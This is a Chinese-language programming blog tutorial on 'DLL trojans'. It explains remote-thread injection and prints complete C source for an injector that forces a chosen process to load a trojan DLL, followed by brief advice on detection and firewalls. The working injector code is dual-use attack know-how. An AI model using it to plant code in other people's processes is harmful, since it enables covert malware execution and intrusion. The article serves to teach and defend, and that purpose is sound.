VC++动态链接库(DLL)编程(六)――DLL木马

简介:
VC++ 动态链接库 (DLL) 编程(六)
―― DLL 木马
作者:宋宝华  e-mail:21cnbao@21cn.com
 
从前文可知, DLL 在程序编制中可作出巨大贡献,它提供了具共性代码的复用能力。但是,正如一门高深的武学,若被掌握在正义之侠的手上,便可助其仗义江湖;但若被掌握在邪恶之徒的手上,则必然在江湖上掀起腥风血雨。 DLL 正是一种这样的武学。 DLL 一旦染上了魔性,就不再是正常的 DLL 程序,而是 DLL 木马,一种恶贯满盈的病毒,令特洛伊一夜之间国破家亡。
 
8.1 DLL 木马的原理
DLL 木马的实现原理是编程者在 DLL 中包含木马程序代码,随后在目标主机中选择特定目标进程,以某种方式强行指定该进程调用包含木马程序的 DLL ,最终达到侵袭目标系统的目的。
正是 DLL 程序自身的特点决定了以这种形式加载木马不仅可行,而且具有良好的隐藏性:
1 DLL 程序被映射到宿主进程的地址空间中,它能够共享宿主进程的资源,并根据宿主进程在目标主机的级别非法访问相应的系统资源;
2 DLL 程序没有独立的进程地址空间,从而可以避免在目标主机中留下“蛛丝马迹”,达到隐蔽自身的目的。
DLL 木马实现了“真隐藏”,我们在任务管理器中看不到木马“进程”,它完全溶进了系统的内核。与“真隐藏”对应的是“假隐藏”,“假隐藏”木马把自己注册成为一个服务。虽然在任务管理器中也看不到这个进程,但是“假隐藏”木马本质上还具备独立的进程空间。“假隐藏”只适用于 Windows9x 的系统,对于基于 WINNT 的操作系统,通过服务管理器,我们可以发现系统中注册过的服务。
DLL 木马注入其它进程的方法为远程线程插入。
远程线程插入技术指的是通过在另一个进程中创建远程线程的方法进入那个进程的内存地址空间。将木马程序以 DLL 的形式实现后,需要使用插入到目标进程中的远程线程将该木马 DLL 插入到目标进程的地址空间,即利用该线程通过调用 Windows API LoadLibrary 函数来加载木马 DLL ,从而实现木马对系统的侵害。
 
8.2 DLL 木马注入程序
这里涉及到一个非常重要的 Windows API ―― CreateRemoteThread 。与之相比,我们所习惯使用的 CreateThread API 函数只能在进程自身内部产生一个新的线程,而且被创建的新线程与主线程共享地址空间和其他资源。而 CreateRemoteThread 则不同,它可以在另外的进程中产生线程! CreateRemoteThread 有如下特点:
1 CreateRemoteThread CreateThread 多一个参数 hProcess ,该参数用于指定要创建线程的远程进程,其函数原型为:
HANDLE CreateRemoteThread(
  HANDLE hProcess,      // 远程进程句柄
  LPSECURITY_ATTRIBUTES lpThreadAttributes,
  SIZE_T dwStackSize,
  LPTHREAD_START_ROUTINE lpStartAddress,
  LPVOID lpParameter,
  DWORD dwCreationFlags,
  LPDWORD lpThreadId
);
2 )线程函数的代码不能位于我们用来注入 DLL 木马的进程所在的地址空间中。也就是说,我们不能想当然地自己写一个函数,并把这个函数作为远程线程的入口函数;
3 )不能把本进程的指针作为 CreateRemoteThread 的参数,因为本进程的内存空间与远程进程的不一样。
以下程序由作者 Shotgun DLL 木马注入程序简化而得(在经典书籍《 Windows 核心编程》中我们也可以看到类似的例子),它将 d 盘根目录下的 troydll.dll 插入到 ID 4000 的进程中:
#include <windows.h>
#include <stdlib.h>
#include <stdio.h>
 
void  CheckError  ( int, int, char *);        // 出错处理函数
 
PDWORD pdwThreadId;
HANDLE hRemoteThread, hRemoteProcess;
DWORD  fdwCreate, dwStackSize, dwRemoteProcessId;
PWSTR  pszLibFileRemote=NULL;
 
void main(int argc,char **argv)
{
    int iReturnCode;
    char lpDllFullPathName[MAX_PATH];
    WCHAR pszLibFileName[MAX_PATH]={0};
      
       dwRemoteProcessId = 4000;   
       strcpy(lpDllFullPathName, "d:\\troydll.dll");
       // DLL 文件全路径的 ANSI 码转换成 UNICODE
       iReturnCode = MultiByteToWideChar(CP_ACP, MB_ERR_INVALID_CHARS,
              lpDllFullPathName, strlen(lpDllFullPathName),
              pszLibFileName, MAX_PATH);
       CheckError(iReturnCode, 0, "MultByteToWideChar");
    // 打开远程进程
    hRemoteProcess = OpenProcess(PROCESS_CREATE_THREAD | // 允许创建线程
              PROCESS_VM_OPERATION | // 允许 VM 操作
              PROCESS_VM_WRITE,       // 允许 VM
              FALSE, dwRemoteProcessId );   
    CheckError( (int) hRemoteProcess, NULL,
              "Remote Process not Exist or Access Denied!");
    // 计算 DLL 路径名需要的内存空间
    int cb = (1 + lstrlenW(pszLibFileName)) * sizeof(WCHAR);
    pszLibFileRemote = (PWSTR) VirtualAllocEx( hRemoteProcess, NULL, cb,
              MEM_COMMIT, PAGE_READWRITE);
    CheckError((int)pszLibFileRemote, NULL, "VirtualAllocEx");
    // DLL 的路径名复制到远程进程的内存空间
    iReturnCode = WriteProcessMemory(hRemoteProcess,
        pszLibFileRemote, (PVOID) pszLibFileName, cb, NULL);
    CheckError(iReturnCode, false, "WriteProcessMemory");
    // 计算 LoadLibraryW 的入口地址
    PTHREAD_START_ROUTINE pfnStartAddr = (PTHREAD_START_ROUTINE)
        GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");
    CheckError((int)pfnStartAddr, NULL, "GetProcAddress");
    // 启动远程线程,通过远程线程调用用户的 DLL 文件    
    hRemoteThread = CreateRemoteThread( hRemoteProcess, NULL, 0, pfnStartAddr, pszLibFileRemote, 0, NULL);
    CheckError((int)hRemoteThread, NULL, "Create Remote Thread");
    // 等待远程线程退出
    WaitForSingleObject(hRemoteThread, INFINITE);
    // 清场处理
    if (pszLibFileRemote != NULL)
       {
        VirtualFreeEx(hRemoteProcess, pszLibFileRemote, 0, MEM_RELEASE);
       }
    if (hRemoteThread != NULL)
       {
              CloseHandle(hRemoteThread );
       }
    if (hRemoteProcess!= NULL)
       {
              CloseHandle(hRemoteProcess);
       }
}
 
// 错误处理函数 CheckError()
void CheckError(int iReturnCode, int iErrorCode, char *pErrorMsg)
{
    if(iReturnCode==iErrorCode)
       {
        printf("%s Error:%d\n\n", pErrorMsg, GetLastError());
        // 清场处理
        if (pszLibFileRemote != NULL)
              {   VirtualFreeEx(hRemoteProcess, pszLibFileRemote, 0, MEM_RELEASE);
        }
              if (hRemoteThread != NULL)
              {
                     CloseHandle(hRemoteThread );
              }
        if (hRemoteProcess!= NULL)
              {
                     CloseHandle(hRemoteProcess);
              }
        exit(0);
    }
}
        DLL 木马注入程序的源代码中我们可以分析出 DLL 木马注入的一般步骤为:
1 )取得宿主进程(即要注入木马的进程)的进程 ID dwRemoteProcessId
2 )取得 DLL 的完全路径,并将其转换为宽字符模式 pszLibFileName
3 )利用 Windows API OpenProcess 打开宿主进程,应该开启下列选项:
a.PROCESS_CREATE_THREAD :允许在宿主进程中创建线程;
b.PROCESS_VM_OPERATION :允许对宿主进程中进行 VM 操作;
c.PROCESS_VM_WRITE :允许对宿主进程进行 VM 写。
4 )利用 Windows API VirtualAllocEx 函数在远程线程的 VM 中分配 DLL 完整路径宽字符所需的存储空间,并利用 Windows API WriteProcessMemory 函数将完整路径写入该存储空间;
5 )利用 Windows API GetProcAddress 取得 Kernel32 模块中 LoadLibraryW 函数的地址,这个函数将作为随后将启动的远程线程的入口函数;
6 )利用 Windows API CreateRemoteThread 启动远程线程,将 LoadLibraryW 的地址作为远程线程的入口函数地址,将宿主进程里被分配空间中存储的完整 DLL 路径作为线程入口函数的参数以另其启动指定的 DLL
7 )清理现场。
8.3 DLL 木马的防治
DLL 木马的原理和一个简单的 DLL 木马程序中我们学到了 DLL 木马的工作方式,这可以帮助我们更好地理解 DLL 木马病毒的防治手段。
    一 般的木马被植入后要打开一网络端口与攻击程序通信,所以防火墙是抵御木马攻击的最好方法。防火墙可以进行数据包过滤检查,我们可以让防火墙对通讯端口进行 限制,只允许系统接受几个特定端口的数据请求。这样,即使木马植入成功,攻击者也无法进入到受侵系统,防火墙把攻击者和木马分隔开来了。
对于 DLL 木马,一种简单的观察方法也许可以帮助用户发现之。我们查看运行进程所依赖的 DLL ,如果其中有一些莫名其妙的 DLL ,则可以断言这个进程是宿主进程,系统被植入了 DLL 木马。“道高一尺,魔高一丈”,现如今, DLL 木马也发展到了更高的境界,它们看起来也不再“莫名其妙”。在最新的一些木马里面,开始采用了先进的 DLL 陷阱技术,编程者用特洛伊 DLL 替换已知的系统 DLL 。特洛伊 DLL 对所有的函数调用进行过滤,对于正常的调用,使用函数转发器直接转发给被替换的系统 DLL ;对于一些事先约定好的特殊情况, DLL 会执行一些相应的操作。
本文给出的只是 DLL 木马最简单情况的介绍,读者若有兴趣深入研究,可以参考其它资料。
 

此后将是本系列文章的最后一次连载,即读者来信与反馈。




 本文转自 21cnbao 51CTO博客,原文链接:http://blog.51cto.com/21cnbao/120762,如需转载请自行联系原作者



相关文章
|
27天前
|
安全 算法 C++
【C/C++ 泛型编程 应用篇】C++ 如何通过Type traits处理弱枚举和强枚举
【C/C++ 泛型编程 应用篇】C++ 如何通过Type traits处理弱枚举和强枚举
46 3
|
28天前
|
安全 算法 编译器
【C++ 泛型编程 进阶篇】深入探究C++模板参数推导:从基础到高级
【C++ 泛型编程 进阶篇】深入探究C++模板参数推导:从基础到高级
245 3
|
28天前
|
存储 算法 编译器
【C++ TypeName用法 】掌握C++中的TypeName:模板编程的瑞士军刀
【C++ TypeName用法 】掌握C++中的TypeName:模板编程的瑞士军刀
237 0
|
28天前
|
算法 编译器 数据库
【C++ 泛型编程 高级篇】使用SFINAE和if constexpr灵活处理类型进行条件编译
【C++ 泛型编程 高级篇】使用SFINAE和if constexpr灵活处理类型进行条件编译
245 0
|
28天前
|
设计模式 程序员 C++
【C++ 泛型编程 高级篇】C++模板元编程:使用模板特化 灵活提取嵌套类型与多容器兼容性
【C++ 泛型编程 高级篇】C++模板元编程:使用模板特化 灵活提取嵌套类型与多容器兼容性
252 2
|
6天前
|
编译器 C++
C++编程之美:探索初始化之源、静态之恒、友情之桥与匿名之韵
C++编程之美:探索初始化之源、静态之恒、友情之桥与匿名之韵
17 0
|
27天前
|
存储 移动开发 安全
【C/C++ 口语】C++ 编程常见接口发音一览(不断更新)
【C/C++ 口语】C++ 编程常见接口发音一览(不断更新)
22 0
|
27天前
|
算法 编译器 C++
【C++ 模板编程 基础知识】C++ 模板类部分特例化的参数顺序
【C++ 模板编程 基础知识】C++ 模板类部分特例化的参数顺序
21 0
|
28天前
|
机器学习/深度学习 人工智能 算法
【C++ 职业方向】C++ 职业方向探索:工作职责、编程技能与MBTI人格匹配
【C++ 职业方向】C++ 职业方向探索:工作职责、编程技能与MBTI人格匹配
161 1
|
28天前
|
安全 编译器 程序员
【C++ 泛型编程 高级篇】C++ 编程深掘:静态成员函数检查的艺术与实践
【C++ 泛型编程 高级篇】C++ 编程深掘:静态成员函数检查的艺术与实践
63 0

热门文章

最新文章